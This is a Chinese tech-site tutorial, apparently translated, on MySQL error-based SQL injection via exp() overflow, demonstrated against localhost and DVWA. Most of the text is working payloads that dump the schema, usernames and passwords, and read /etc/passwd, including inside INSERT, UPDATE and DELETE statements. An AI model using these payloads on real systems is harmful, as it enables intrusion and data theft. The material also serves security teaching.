使用exp進行SQL報錯注入 - 51CTO.COM

2020-12-16 51cto

0x01 前言概述

好消息好消息~作者又在MySQL中發現了一個Double型數據溢出。如果你想了解利用溢出來注出數據,你可以讀一下作者之前發的博文:BIGINT Overflow Error based injections,drops上面也有對應翻譯,具體見這裡。當我們拿到MySQL裡的函數時,作者比較感興趣的是其中的數學函數,它們也應該包含一些數據類型來保存數值。所以作者就跑去測試看哪些函數會出現溢出錯誤。然後作者發現,當傳遞一個大於709的值時,函數exp()就會引起一個溢出錯誤。

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

在MySQL中,exp與ln和log的功能相反,簡單介紹下,就是log和ln都返回以e為底數的對數,見等式:

mysql> select log(15);
+------------------+
| log(15)          |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)


mysql> select ln(15);
+------------------+
| ln(15)           |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

指數函數為對數函數的反函數,exp()即為以e為底的對數函數,如等式:

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

0x02 注入

當涉及到注入時,我們使用否定查詢來造成「DOUBLE value is out of range」的錯誤。作者之前的博文提到的,將0按位取反就會返回「18446744073709551615」,再加上函數成功執行後返回0的緣故,我們將成功執行的函數取反就會得到***的無符號BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)


mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我們通過子查詢與按位求反,造成一個DOUBLE overflow error,並藉由此注出數據。

  1. >`exp(~(select*from(select user())x))`  
  2.  
  3.     mysql> select exp(~(select*from(select user())x));  
  4.     ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x03 注出數據

得到表名:

  1. select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 

得到列名:

  1. select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)); 

檢索數據:

  1. select exp(~ (select*from(select concat_ws(':',id, username, passwordfrom users limit 0,1)x)); 

0x04 一蹴而就

這個查詢可以從當前的上下文中dump出所有的tables與columns。我們也可以dump出所有的資料庫,但由於我們是通過一個錯誤進行提取,它會返回很少的結果。

  1. exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))  
  2.  
  3. http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) 

0x05 讀取文件

你可以通過load_file()函數來讀取文件,但作者發現有13行的限制,該語句也可以在BIGINT overflow injections中使用。

  1. select exp(~(select*from(select load_file('/etc/passwd'))a));  
  2.  

注意,你無法寫文件,因為這個錯入寫入的只是0。

  1. mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'      
  3.  
  4. # type C:\out.txt  

0x06 Injection in Insert

按部就班就好

  1. mysql> insert into users (id, username, passwordvalues (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

對於所有的insert,update和delete語句DIOS查詢也同樣可以使用。

  1. mysql> insert into users (id, username, passwordvalues (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  
  3. newdb::users::id  
  4. newdb::users::username  
  5. newdb::users::password' from dual)))' 

0x07 Injection in Update

  1. mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x08 Injection in Delete

  1. mysql> delete from users where id='1' | exp(~(select*from(select user())x));  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

和前面的BIGINT注入一樣,exp注入也適用於MySQL5.5.5及以上版本。以前的版本對於此情況則是「一言不發」。

  1. mysql> select version();  
  2. + 
  3. | version()           |  
  4. + 
  5. | 5.0.45-community-nt |  
  6. + 
  7. 1 row in set (0.00 sec)   
  8.  
  9.  
  10. mysql> select exp(710);  
  11. + 
  12. | exp(710) |  
  13. + 
  14. |   1.#INF |  
  15. + 
  16. 1 row in set (0.00 sec)   
  17.  
  18.  
  19. mysql> select exp(~0);  
  20. + 
  21. | exp(~0) |  
  22. + 
  23. |  1.#INF |  
  24. + 
  25. 1 row in set (0.00 sec) 

可能還有其他的函數會產生這種報錯呦。(有待你發現啦:)

【編輯推薦】

【責任編輯:

藍雨淚

TEL:(010)68476606】

點讚 0

相關焦點

  • 在Linux下靈活使用expect腳本的小竅門 - 51CTO.COM
    【51CTO精選譯文】編者按:對於喜愛自動化的Linux系統管理員而言,一定是用過expect這個命令行工具。Expect 是由 Don Libes 基於 Tcl 語言開發的,並被廣泛應用於交互式操作和自動化測試的場景之中,它尤其適用於需要對多臺伺服器執行相同操作的環境中,可以大幅度提高系統管理人員的工作效率。
  • SQL注入的幾種類型和原理
    我這裡使用了幾個函數,連接字符的group_concat,指定分割符連接的 concat_ws。報錯注入原理接下來的文字會省略一些,因為找到對應的回顯之後,整個過程類似。無論是那種類型的注入,本質上是SQL語句被執行之後尋找對應的回顯。對於報錯,回顯在錯誤中,後面的的時間注入,回顯在時間的判斷中,DNSlog盲注中,回顯在DNSlog中。
  • SQL注入攻擊詳解
    這種網站內部直接發送的Sql請求一般不會有危險,但實際情況是很多時候需要結合用戶的輸入數據動態構造 Sql 語句,如果用戶輸入的數據被構造成惡意 Sql 代碼,Web 應用又未對動態構造的 Sql 語句使用的參數進行審查,則會帶來意想不到的危險。Sql 注入帶來的威脅主要有如下幾點猜解後臺資料庫,這是利用最多的方式,盜取網站的敏感信息。
  • 徹底幹掉噁心的 SQL 注入漏洞, 一網打盡!
    這裡需要注意的是,使用了PreparedStatement 並不意味著不會產生注入,如果在使用PreparedStatement之前,存在拆分sql語句,那麼仍然會導致注入,如// 拼接 sqlString sql = "SELECT *
  • SQL 注入攻防入門詳解
    這幾天把sql注入的相關知識整理了下,希望大家多多提意見。(對於sql注入的攻防,我只用過簡單拼接字符串的注入及參數化查詢,可以說沒什麼好經驗,為避免後知後覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)下面的程序方案是採用 ASP.NET + MSSQL,其他技術在設置上會有少許不同。
  • 51CTO學院題庫首家在線教育IT題庫平臺
    10月10日首家在線教育IT平臺題庫產品51CTO學院題庫(https://t.51cto.com/)正式上線了,至此51CTO學院完成教育生態中「教、學、測、驗」四個環節,為51CTO學院學員提供更多元化的教育服務。
  • 聚投訴網友投訴51CTO學院:51cto學院虛假宣傳aci營養師作用,讓人買...
    2019年11月27日 21:30,呂女士發起對51CTO學院的投訴。截止發稿前,51CTO學院有效投訴11次。
  • desc巧用及反引號 ` SQL注入——【61dctf】 inject writeup
    ($sql);echo $ret[0];測試http://web.jarvisoj.com:32794/index.php?mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();因此該條語句沒有跳轉到Hacker(),而是執行了mysqli_query()函數而反過來,當table為其他值時,mysqli_query()函數執行失敗,從而執行了Hacker()Key觀察可知,輸入的table參數被desc 使用進行降序排序
  • Myql SLEEP函數和SQL注入
    sqlmap是使用Python編寫的一款資料庫sql注入掃描工具,目前支持常見的mysql、oracel、postgresql、sql server,access,db2,sqlite等數據的安全漏洞(sql注入)。
  • Java web安全黑客攻防之sql注入
    1.什麼是sql注入sql注入通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙伺服器執行惡意的SQL命令通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙伺服器執行惡意的SQL
  • 特殊場景的sql注入思路
    上一篇介紹了sql注入的基礎知識以及手動注入方法,但是在實際的環境中往往不會像靶場中那樣簡單。今天我就來為大家介紹一種特殊場景的sql注入思路。用戶名與密碼分開驗證的情況第一個場景我們以We Chall平臺的Training: MySQL II 一題為例。
  • 用Select×進行SQL查詢的七宗罪
    【51CTO.com快譯】如今,網上許多文章都已明確地指出:使用「SELECT * 」作為SQL查詢方式是一種極其危險的代碼書寫習慣。開發人員應該儘量在自己的程序中避免出現此類查詢,取而代之的應該是明確地指定要查詢的列名。不過,大家可能只是「知其然,而不知其所以然」。
  • SQL注入、XSS以及CSRF分別是什麼?
    什麼是SQL注入、XSS和CSRF?本篇文章就來帶大家了解一下SQL注入、XSS和CSRF,有一定的參考價值,有需要的朋友可以參考一下,希望對你有所幫助。SQL注入SQL注入是屬於注入式攻擊,這種攻擊是因為在項目中沒有將代碼與數據(比如用戶敏感數據)隔離,在讀取數據的時候,錯誤的將數據作為代碼的一部分執行而導致的。典型的例子就是當對SQL語句進行字符串拼接的時候,直接使用未轉義的用戶輸入內容作為變量。
  • 什麼是SQL 注入?
    下面我們先使用SQLite建立一個學生檔案表。如何防止SQL注入問題大家也許都想到了,注入問題都是因為執行了數據項中的SQL關鍵字,那麼,只要檢查數據項中是否存在SQL關鍵字不就可以了麼?的確是這樣,很多資料庫管理系統都是採取了這種看似『方便快捷』的過濾手法,但是這並不是一種根本上的解決辦法,如果有個美國人真的就叫做『Drop Table』呢?你總不能逼人家改名字吧。合理的防護辦法有很多。首先,儘量避免使用常見的資料庫名和資料庫結構。
  • 51CTO電子雜誌《開發月刊》2011年5月刊發布
    51CTO電子雜誌《開發月刊》2011年5月刊發布 2011年5月16日,51CTO開發頻道推出《開發月刊》電子雜誌。主要內容涵蓋Java、.NET、WEB開發、資料庫和移動開發等等。從技術細節到項目管理,方方面面為開發者服務。
  • 使用Expect和命名管狀遠程控制SQL*Plus
    第一步是創建一樣能與SQL*Plus交互環境進行交互的東西。雖然SQL*Plus是可交互的,但是它僅限於STDOUT和STDIN,所以它可以放入一個管道中:    sqlplus /nolog < commands.sql > output.log     然而,如果我們想一次發出一條SQL*Plus命令,那麼就需要檢查SQL*Plus命令提示符「SQL>」來判斷SQL*Plus是否在等待輸入,然後使用非阻塞管道
  • SQL 注入常規 Fuzz 全記錄
    (給數據分析與開發加星標,提升數據技能)來自:FreeBuf.COM,作者:Conanwww.freebuf.com
  • 淺談開啟magic_quote_gpc後的sql注入攻擊與防範
    在PHP4.0及以上的版本中,該選項默認情況下是開啟的,所以在PHP4.0及以上的版本中,就算PHP程序中的參數沒有進行過濾,PHP系統也會對每一個通過GET、POST、COOKIE方式傳遞的變量自動轉換,換句話說,輸入的注入攻擊代碼將會全部被轉換,將給攻擊者帶來非常大的困難。雖然如此,攻擊者仍然有機會進行SQL注入攻擊。。。。。。
  • 51CTO學院—就是這麼高端、大次、上檔氣
    不怕不怕,史上最牛~的學習網站「51CTO學院」,來解救你了,它擁有最實踐的課程,最專業的試題,最完整的學習路線,最強大的功能,最重要的是操作還簡單,看看,就是這麼高端、大次、上檔氣,讓你告別電腦小白不是夢!